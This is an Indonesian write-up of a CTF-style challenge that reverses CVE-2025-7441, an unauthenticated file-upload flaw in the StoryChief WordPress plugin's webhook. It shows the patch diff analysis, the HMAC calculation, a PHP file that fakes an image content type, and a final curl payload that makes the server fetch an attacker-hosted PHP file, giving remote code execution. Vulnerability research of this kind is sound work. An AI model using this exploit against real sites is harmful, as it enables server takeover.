Langsung saja, jadi disini aku bakal memberikan write up dan solusi terkait challenge yang aku share dengan judul CVE reversing pada plugin wordpress StoryChief.
*CVE Reversing Challenge*
host: http://143.198.193.102/
Level: Up to you!!
Task ?
Baru baru ini sekitar 5 hari lalu, wordfence mempublikasikan suatu CVE pada plugin wordpress _storychief_ yang dimana kerentanan pada CVE ini berada pada score 9.8 atau sangat critical karena attacker bisa melakukan arbitrary file write/upload dengan status unauthenticated yang dapat mengarah ke RCE. Tugas kalian yaitu membuat suatu script PoC sendiri dengan melakukan research, diffing dan reversing pada source code di plugin ini. Jangan buang buang waktu untuk mencari script exploit/PoC di internet karena tidak ada satupun sumber yang mempublikasikan PoC pada CVE ini, karena tergolong masih baru.
Biar tambah semangat, untuk yang solve first blood akan mendapat hadiah 100K dan semoga berhasill.
solve? untuk flag ada di directory /root tapi jika kalian berhasil mendapat akses www-data saja sudah cukup, yang terpenting hasil dari PoC exploitnya bukan pada flagnya
reference CVE-2025-7441 :
https://www.wordfence.com/threat-intel/vulnerabilities/id/979efaa4-10f1-4c7f-b4b0-5a41678c9d66?source=cve
#HappyHacking
pada challenge ini, kita diharuskan untuk crafting PoC atau exploit dari refrensi dan deskripsi singkat pada CVE-2025-7441. Karena CVE ini tergolong masih baru jadi tidak ada satupun source yang mempublikasikan PoC atau exploitnya di internet. Cara satu satunya dengan melakukan research dan mencoba untuk menemukan secara mandiri.
Sebelum itu penting sekali untuk mengerti syntax dasar dan terbiasa menggunakan PHP dan juga sedikit perlu paham terkait struktur dari CMS wordpress. Mari kita lihat deskripsi dari CVE-nya
The StoryChief plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to, and including, 1.0.42. This vulnerability occurs through the /wp-json/storychief/webhook REST-API endpoint that does not have sufficient filetype validation. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Intinya dikatakan jika plugin StoryChief pada versi dan sebelum 1.0.42 terdapat vulnerabiilty yang dimana attacker bisa melakukan arbitrary file upload melalui /wp-json/storychief/webhook, dan ngerinya lagi bug ini bisa dipicu tanpa login terlebih dahulu atau unauthenticated, nah maka dari sini kenapa CVSS score pada vulnerability ini sangat critical yaitu 9.8.
CVE reversing itu merupakan suatu upaya atau proses untuk membuat Proof-Of-Concept dari suatu kerentanan yang sudah diketahui(CVE) atau bisa kita sebut juga sebagai 1-day, secara umum caranya yaitu dengan melakukan patch diff(perbandingan) source code dari versi rentan dan yang sudah diperbaiki untuk melihat kerentanan yang dapat dimanfaatkan.
Tapi beruntungnya, tidak seperti pada vendor atau product perusahaan besar yang close source, pada wordpress sendiri melakukan CVE reversing ini masih tergolong mudah karena source code dipublikasikan ya setidaknya kita tidak perlu effort melakukan reverse engineering dan memahami di sisi low levelnya. Karena untuk melakukan patch diff pada wordpress kita bisa langsung mengunjungi https://plugins.trac.wordpress.org/ dan melihat perbandingan kode antar versi
Pada CVE ini, wordfence juga menyediakan refrensi diffing dan hal ini sangat berguna untuk kita identifikasi dan melakukan source code review
https://plugins.trac.wordpress.org/changeset/3344874

Disini terlihat beberapa file yang diubah pada versi baru, atau dalam hal ini developer melakukan patching dari kerentanan pada CVE tersebut.

Pada file class.imageuploader.php terdapat banyak perubahan, disini kita bisa melihat jika block merah artinya code yang dihapus dan block hijau yaitu code yang ditambahkan. pada file ini juga terdapat instansiasi CURL yang dalam hal ini kita mendapat gambaran sekilas bagaimana kerentanan terjadi.
Mari kita lihat source codenya secara utuh pada https://github.com/Story-Chief/wordpress/releases yang pada github ini merupakan versi 1.0.41 sedangkan patching dilakukan pada v1.0.43 jadi pada github ini masih tergolong versi rentan yang belum di patch
Seperti pada deskripsi yang mengatakan jika kerentanan dipicu melalui endpoint /wp-json/storychief/webhook jadi kata kunci penting disini ada pada webhook, yang pada plugin StoryChief juga terdapat file dengan nama webhook.php
Disini kita bisa mulai melakukan source code review, tapi sebelum itu kita perlu tau konsep saat melakukan source code review dan tidak melakukan asal asalan. Bahkan owasp sendiri juga mempublikasikan standar guide untuk ini yaitu SAST(Static Analysis Security Testing) https://owasp.org/www-project-code-review-guide/assets/OWASP_Code_Review_Guide_v2.pdf yang berisi panduan bagaimana best practice saat melakukan source code review. Agar lebih singkat, yang perlu kita pahami saat melakukan source code review yaitu “source” dan “sinks”, source merupakan dimana code yang kemungkinan terjadi kerentanan dan sinks yaitu tempat kerentanan sebenarnya terjadi.

yang pada webhook.php disini kita menemukan input yang bisa kita kontrol yaitu fungsi register_routes() yang dimana pada array “callback” memanggil fungsi handle() dan pada fungsi handle() juga terdapat json_decode() yang melakukan decode pada inputan POST kita, pada blok kode ini bisa kita katakan “source” atau sumber terjadinya kerentanan, dan untuk “sinks” kita akan mencoba identifikasi lebih lanjut
fungsi upload pada PHP dan wordpress sendiri kita bisa klasifikasikan sebagai berikut :
- potensi fungsi upload PHP
- potensi fungsi upload WordPress
Jika mengacu pada kerentanan Arbitrary File Upload, pasti salah satu fungsi diatas digunakan dan pada visual studio code kita bisa mencari pada fitur searching string

fungsi file_put_contents() dipanggil pada file class.imageuploader.php, persis seperti pada patch diff yang kita identifikasi sebelumnya

fungsi save() disini yang memanggil file_put_contents dan juga terdapat suatu instansiasi CURL, dan asumsi awal sepertinya fungsi ini mendownload file dari URL external yang kemudian diletakkan pada directory /wp-content/uploads/ karena terdapat fungsi wp_upload_dir()
disini “Sinks” ditemukan pada fungsi save() yaitu fungsi file_put_contents(), nah jika kita sudah mengelompokkan seperti ini baru berfikir bagaimana dari “source” / inputan user berpindah ke “sinks” yang menjalankan fungsi file_put_contents().
Sekarang kita balik ke “source” dan mencoba untuk memahaminya

terdapat 2 validasi, pada payload json yang kita inputkan. validasi pertama yaitu \Storychief\Tools\validMac($payload) yang disini memanggil fungsi validMac pada file tools.php

Disini melakukan comparison atau perbandingan jika mac tidak sama pada payload maka gagal atau return false, jadi kira kira logic sederhananya seperti ini :
- kita input : payload=heker
- maka gagal karena harus ada parameter mac
- jadi harusnya gini: payload=heker&mac=123
- ini juga tidak valid karena mac tidak sama
- tapi disana ada unset($payload[‘meta’][‘mac’]);
- artinya mac diambil atau hasil payload=heker yang dihash sha256
- jadi kita perlu hash sha256 pada “payload=heker” dan digunakan untuk mac
Semoga bisa dipahami, jadi kita kecualikan untuk macnya dan lanjut susun payloadnya tanpa mac terlebih dulu.
if (! isset($payload['meta']['event'])) {
return new WP_Error('no_event_type', 'The event is not set', ['status' => 400]);
}
//code lain
...
...
switch ($payload['meta']['event']) {
case 'publish':
$response = handlePublish($payload);
break;
case 'update':
$response = handleUpdate($payload);
break;
case 'delete':
$response = handleDelete($payload);
break;
case 'test':
$response = handleConnectionCheck($payload);
break;
default:
$response = missingMethod();
break;
}
validasi kedua ada $payload[‘meta’][‘event’] yang kemudian dilakukan switch case ya, yang jika kita isi $payload[‘meta’][‘event’] publish maka akan menuju ke fungsi handlePublish() dan kira kira seperti ini payloadnya
curl -d '{"meta": {"event" : "publish"}}' http://143.198.193.102/wp-json/storychief/webhook
Jadi kita disini asumsinya sudah menuju ke fungsi handlePublish


Diatas kita menemukan fungsi wordpress do_action yang memanggil fungsi callback storychief_save_featured_image_action yang jika kita search pada vscode, ditemukan pada file mapping.php

Dan yap, kita menemukan fungsi yang memanggil class ImageUploader dengan method save() dan fungsi ini yang digunakan untuk upload file, jadi sekarang kita sudah mengetahui data flow terjadinya kerentanan jadi mari kita rangkai payloadnya, dan kita sesuaikan dengan validasi pada variable $story[‘featured_image’][‘data’][‘sizes’][‘full’]
{
"meta": {
"event": "publish"
},
"data": {
"featured_image": {
"data": {
"sizes": {
"full": "http://143.198.193.102:8000/cek.php"
}
}
}
}
}
dan payloadnya akan seperti diatas, nah baru pada payload ini kita bisa meng-hasilkan hmac dengan melakukan encode dan hash ke sha256

dan setelah hmac didapatkan sekarang kita perlu menghost php file pada vps atau hosting pribadi karena nama file yang disimpan diambil dari nama path external
public function getFilename()
{
$filename = basename($this->url);
$this->filename = $filename;
return $filename;
}
Juga ada sedikit restriksi, dimana content-type yang diizinkan harus image
$image_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
if (strpos($image_type, 'image') === false) {
return false;
}
dan kita bisa membypass-nya dengan membuat file php seperti ini pada vps/hosting :
<?php
header("Content-Type: image/jpeg");
echo "<?php phpinfo(); ?>";
?>
Yang dimana akan memforce atau memaksa header jika content-type diset ke image/jpeg meskipun raw datanya merupakan plain-text, dan untuk echo “<?php phpinfo(); ?>”; bisa disesuaikan lagi, karena disini hanya untuk tujuan demontrasi jadi cukup memanggil phpinfo() saja
Kasus disini aku memakai vps dan menjalankan php webserver

Terakhir payload final dan exploit akan menjadi seperti ini
curl -d '{"meta": {"mac":"2ddae0879f0bdf1d1d4c86713da237d82a028482aeab7a7f3d84e1e8a3d7748d", "event" : "publish"}, "data" : {"featured_image" : {"data" : {"sizes" : {"full": "http://143.198.193.102:8000/cek.php"}}}}}' http://143.198
.193.102/wp-json/storychief/webhook

dan untuk melihat hasil uploadnya, kita bisa mengacu pada fungsi ini di file class.imageuploader.php
wp_upload_dir(date('Y/m', $this->post->post_date ? strtotime($this->post->post_date) : time()));
yang disini memanggil date dengan parameter pertama ‘Y/m’ artinya tahun/bulan, jadi jika sekarang tahun 2025 dan bulan 08 maka akan menjadi /wp-content/uploads/2025/08/cek.php

Dan exploit berhasil, untuk PoC automation lengkapnya yang ku publish di exploit-db bisa langsung kunjungi link berikut https://www.exploit-db.com/exploits/52422 . jadi mungkin sekian itu saja dan semoga bermanfaat.
“Ilmu itu cahaya, dan belajar adalah menyalakan lentera dalam kegelapan.” – Imam Al-Ghazali
